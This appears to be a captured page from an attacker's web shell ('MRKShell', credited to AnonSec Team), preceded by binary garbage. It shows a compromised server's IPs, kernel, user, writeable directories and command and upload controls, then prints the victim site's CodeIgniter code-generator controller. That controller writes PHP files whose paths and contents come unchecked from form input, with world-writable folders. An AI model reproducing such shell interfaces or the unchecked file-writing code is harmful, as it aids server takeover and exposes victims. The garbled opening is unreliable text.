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BGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 104.23.243.234
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/vuelos/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/vuelos/application/controllers/Codegen.php
<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

/*
 * CI Generator
 * http://projects.keithics.com/crud-generator-for-codeigniter/ 
 * Copyright (c) 2011 Keith Levi Lumanog
 * Dual MIT and GPL licenses.
 *
 * A CI generator to easily generates CRUD CODE, feel free to improve my code or customized it the way you like.
 * as inspired by Gii of Yii Framework. Last update August 15, 2011
 */

class Codegen extends CI_Controller {

    function index() {
        $data = '';
        $this->load->library('form_validation');
        $this->load->database();
        $this->load->helper('url');
        if ($this->input->post('table_data') || !$_POST) {
            // get table data
            $this->form_validation->set_rules('table', 'Table', 'required|trim|xss_clean|max_length[200]');

            if ($this->form_validation->run() == false) {
                
            } else {

                $table = $this->db->list_tables();
                $data['table'] = $table[$this->input->post('table')];
                $result = $this->db->query("SHOW FIELDS from " . $data['table']);
                $data['alias'] = $result->result();
            }
            //  $this->load->view('codegen', $data);


            $datos_plantilla["title"] = ucwords("codegen");
            $datos_plantilla["contenido_main"] = $this->load->view('backend/generador/codegen', $data, true);

            $this->load->view('template/backend', $datos_plantilla);
        } else
        if ($this->input->post('generate')) {
            $this->load->helper('file');


            if (!file_exists('./application/views/' . $this->input->post('carpeta') . '/' . $this->input->post('view'))) {
                if (!mkdir('./application/views/' . $this->input->post('carpeta') . '/' . $this->input->post('view'), 0777)) {
                    die('Fallo al crear las carpetas...');
                }
            }



            $all_files = array(
                'application/config/form_validation.php',
                'application/controllers/' . $this->input->post('controller') . '.php',
                'application/models/codegen_model.php',
                'application/views/' . $this->input->post('carpeta') . '/' . $this->input->post('view') . '/' . $this->input->post('view') . '_add.php',
                'application/views/' . $this->input->post('carpeta') . '/' . $this->input->post('view') . '/' . $this->input->post('view') . '_edit.php',
                'application/views/' . $this->input->post('carpeta') . '/' . $this->input->post('view') . '/' . $this->input->post('view') . '_list.php',
                'application/views/' . $this->input->post('carpeta') . '/' . $this->input->post('view') . '/' . $this->input->post('view') . '_view.php'
            );

            $err = 0;

            $rules = $this->input->post('rules');
            $label = $this->input->post('field');
            $type = $this->input->post('type');


            // looping of labels and forms , for edit and add
            foreach ($label as $k => $v) {
                if ($k != 'id') {
                    $grilla_head[] = '<th><a href="#">' . $k . '</a></th>';
                    $grilla_body[] = '<td><?php echo $result->' . $k . ' ?></td>';
                }

                if ($type[$k][0] != 'exclude') {
                    $labels[] = $v;
                    $form_fields[] = $k;
                    if ($rules[$k][0] != 'required') {
                        $required = '';
                        $required_attr = '';
                    } else {
                        $required = '<span class="required">*</span>';
                        $required_attr = 'required';
                    }
                    // this will create a form for Add and Edit , quite dirty for now
                    if ($type[$k][0] == 'textarea') {
                        $add_form[] = '
                                    <div class="form-group">
                                        <label for="' . $k . '">' . $v . $required . '</label>
                                        <textarea ' . $required_attr . ' id="' . $k . '" name="' . $k . '" class="summernote form-control"></textarea>
                                    </div>
                                    ';

                        $edit_form[] = '
                                    <div class="form-group">
                                        <label for="' . $k . '">' . $v . $required . '</label>
                                        <textarea ' . $required_attr . ' id="' . $k . '" name="' . $k . '" class="summernote form-control"><?php echo $result->' . $k . ' ?></textarea>
                                    </div>
                                    ';
                        $view_form[] = '
                                    <div class="form-group">
                                        <b>' . $v . ':</b> <?php echo $result->' . $k . ' ?>
                                    </div>
                                    ';
                    } else if ($type[$k][0] == 'dropdown') {
                        $enum = explode(',', $this->input->post($k . 'default'));
                        $add_form[] = '
                                    <div class="form-group">
                                        <label for="' . $k . '">' . $v . $required . '</label>
                                        <select id="' . $k . '" name="' . $k . '" class="form-control chosen-select" ' . $required_attr . '>
                                          <?php foreach ($' . $k . ' as $f) { ?>
                                            <option value="<?php echo $f->id ?>"><?php echo $f->TEXTO_MOSTRAR ?></option>
                                          <?php } ?>
                                        </select>
                                    </div>
                                    ';
                        $edit_form[] = '
                                    <div class="form-group">
                                        <label for="' . $k . '">' . $v . $required . '</label>
                                        <select id="' . $k . '" name="' . $k . '" class="form-control chosen-select" ' . $required_attr . '>
                                          <?php foreach ($' . $k . ' as $registro) { ?>
                                            <option value="<?php echo $f->id ?>" <?php if($f->id == $result->' . $k . ') echo "selected" ?>><?php echo $f->TEXTO_MOSTRAR ?></option>
                                          <?php } ?>
                                        </select>
                                    </div>
                                    ';
                        $view_form[] = '
                                    <div class="form-group">
                                        <b>' . $v . ':</b><?php $enum = array(' . $this->input->post($k . 'default') . '); echo form_dropdown(\'' . $k . '\', $enum,$result->' . $k . '); ?>
                                    </div>
                                    ';
                    } else {
                        //input
                        $add_form[] = '
                                    <div class="form-group">
                                        <label for="' . $k . '">' . $v . $required . '</label>
                                        <input id="' . $k . '" ' . $required_attr . ' type="' . $type[$k][0] . '" name="' . $k . '" value="" class="form-control" placeholder="' . $k . '" />
                                    </div>
                                    ';
                        $edit_form[] = '
                                    <div class="form-group">
                                        <label class="control-label" for="' . $k . '">' . $v . $required . '</label>
                                        <input id="' . $k . '" ' . $required_attr . ' type="' . $type[$k][0] . '" name="' . $k . '" value="<?php echo $result->' . $k . ' ?>" class="form-control" placeholder="' . $k . '" />
                                    </div>
                                    ';
                        $view_form[] = '
                                    <div class="form-group">
                                        <b>' . $v . ':</b> <?php echo $result->' . $k . ' ?>
                                    </div>
                                    ';
                    }
                }
            }

            // this will ensure that the primary key will be selected first.
            $fields_list[] = $this->input->post('primaryKey');
            // looping of rules 
            foreach ($rules as $k => $v) {
                $rules_array = array();
                if ($type[$k][0] != 'exclude') {

                    foreach ($rules[$k] as $k1 => $v1) {
                        if ($v1) {
                            $rules_array[] = $v1;
                        }
                    }
                    $form_rules = implode('|', $rules_array);
                    $form_val_data[] = "array(
                                \t'field'=>'" . $k . "',
                                \t'label'=>'" . $label[$k] . "',
                                \t'rules'=>'" . $form_rules . "'
                                )";
                    $controller_form_data[] = "'" . $k . "' => set_value('" . $k . "')";
                    $controller_form_editdata[] = "'" . $k . "' => \$this->input->post('" . $k . "')";
                    $fields_list[] = $k;
                }
            }


            $fields = implode(',', $fields_list);

            $form_data = implode(',' . "\n\t\t\t\t\t\t\t\t", $form_val_data);

            $file_validation = 'application/config/form_validation.php';

            //$search_form = array('{validation_name}','{form_val_data}');
            // $replace_form = array($this->input->post('validation'),$form_data);
            $form_validation_data = "'" . $this->input->post('table') . "' => array(" . $form_data . ")";

            if (file_exists('application/config/form_validation.php')) {
                $form_v = file_get_contents('application/config/form_validation.php');
                $old_form = str_replace(array('<?php', '?>', '$config = array(', ');'), '', $form_v) . "\t\t\t\t,\n\n\t\t\t\t";
                include('application/config/form_validation.php');

                if (isset($config[$this->input->post('table')])) {
                    // rules already existed , reload rules
                    $form_content = str_replace('{form_validation_data}', $form_validation_data, file_get_contents('application/views/backend/generador/form_validation.php'));
                } else {
                    // append new rule
                    $form_content = str_replace('{form_validation_data}', $old_form . $form_validation_data, file_get_contents('application/views/backend/generador/form_validation.php'));
                }
            } else {
                $form_content = str_replace('{form_validation_data}', $form_validation_data, file_get_contents('application/views/backend/generador/form_validation.php'));
            }
            ////////////////////
            $c_path = 'application/controllers/';
            $m_path = 'application/models/';
            $v_path = 'application/views/' . $this->input->post('carpeta') . '/' . $this->input->post('view') . '/';

            ///////////////// controller
            $controller = file_get_contents('application/views/backend/generador/controller.php');
            $search = array('{controller_name}', '{view}', '{table}', '{validation_name}',
                '{data}', '{edit_data}', '{controller_name_l}', '{primaryKey}', '{fields_list}', '{carpeta}');
            $replace = array(
                ucfirst(
                        $this->input->post('controller')),
                $this->input->post('view'),
                $this->input->post('table'),
                $this->input->post('validation'),
                implode(',' . "\n\t\t\t\t\t", $controller_form_data),
                implode(',' . "\n\t\t\t\t\t", $controller_form_editdata),
                $this->input->post('controller'),
                $this->input->post('primaryKey'),
                $fields,
                $this->input->post('carpeta') . '/' . $this->input->post('view')
            );

            $c_content = str_replace($search, $replace, $controller);


            $file_controller = $c_path . $this->input->post('controller') . '.php';



            // create view/form, TODO, make this a function! and make a stop overwriting files
            //VIEW/LIST FORM
            $list_v = file_get_contents('application/views/backend/generador/list.php');
            $list_search = array('{controller_name_l}', '{grilla_head}', '{grilla_body}');
            $list_replace = array($this->input->post('controller'), implode("\n", $grilla_head), implode("\n", $grilla_body));
            $list_content = str_replace($list_search, $list_replace, $list_v);



            //ADD FORM
            $add_v = file_get_contents('application/views/backend/generador/add.php');

            $add_content = str_replace('{forms_inputs}', implode("\n", $add_form), $add_v);

            //EDIT FORM
            $edit_v = file_get_contents('application/views/backend/generador/edit.php');
            $edit_search = array('{forms_inputs}', '{primary}');
            $edit_replace = array(implode("\n", $edit_form), '<?php echo form_hidden(\'' . $this->input->post('primaryKey') . '\',$result->' . $this->input->post('primaryKey') . ') ?>');

            $edit_content = str_replace($edit_search, $edit_replace, $edit_v);

            //VIEW FORM
            $view_v = file_get_contents('application/views/backend/generador/view.php');
            $view_search = array('{forms_inputs}', '{primary}');
            $view_replace = array(implode("\n", $view_form), '<?php echo form_hidden(\'' . $this->input->post('primaryKey') . '\',$result->' . $this->input->post('primaryKey') . ') ?>');

            $view_content = str_replace($view_search, $view_replace, $view_v);

            $write_files = array(
                'Controller' => array($file_controller, $c_content),
                'view_edit' => array($v_path . $this->input->post('view') . '_edit.php', $edit_content),
                'view_list' => array($v_path . $this->input->post('view') . '_list.php', $list_content),
                'view_add' => array($v_path . $this->input->post('view') . '_add.php', $add_content),
                'view_view' => array($v_path . $this->input->post('view') . '_view.php', $view_content)
            );
            foreach ($write_files as $wf) {
                if ($this->writefile($wf[0], $wf[1])) {
                    $err++;
                    echo $this->writefile($wf[0], $wf[1]);
                }
            }

            if ($err > 0) {
                exit;
            } else {
                $data['list_content'] = $list_content;

                $data['add_content'] = $add_content;

                $data['edit_content'] = $edit_content;

                $data['controller'] = $c_content;

                $data['view_content'] = $view_content;

                //$this->load->view('done',$data);
                //echo 'DONE! view it here '. anchor(base_url().'index.php/'.$this->input->post('controller').'/');
                $datos_plantilla["title"] = ucwords("codegen");
                $datos_plantilla["contenido_main"] = $this->load->view('backend/generador/done', $data, true);

                $this->load->view('template/backend', $datos_plantilla);
            }
        }// if generate
    }

    function fexist($path) {
        if (file_exists($path)) {
            // todo , automatically adds new validation
            return $path . ' - File exists <br>';
        } else {
            return false;
        }
    }

    function writefile($file, $content) {

        if (!write_file($file, $content)) {
            return $file . ' - Unable to write the file';
        } else {
            return false;
        }
    }

}

/* End of file codegen.php */
/* Location: ./application/controllers/codegen.php */

Anon7 - 2022
AnonSec Team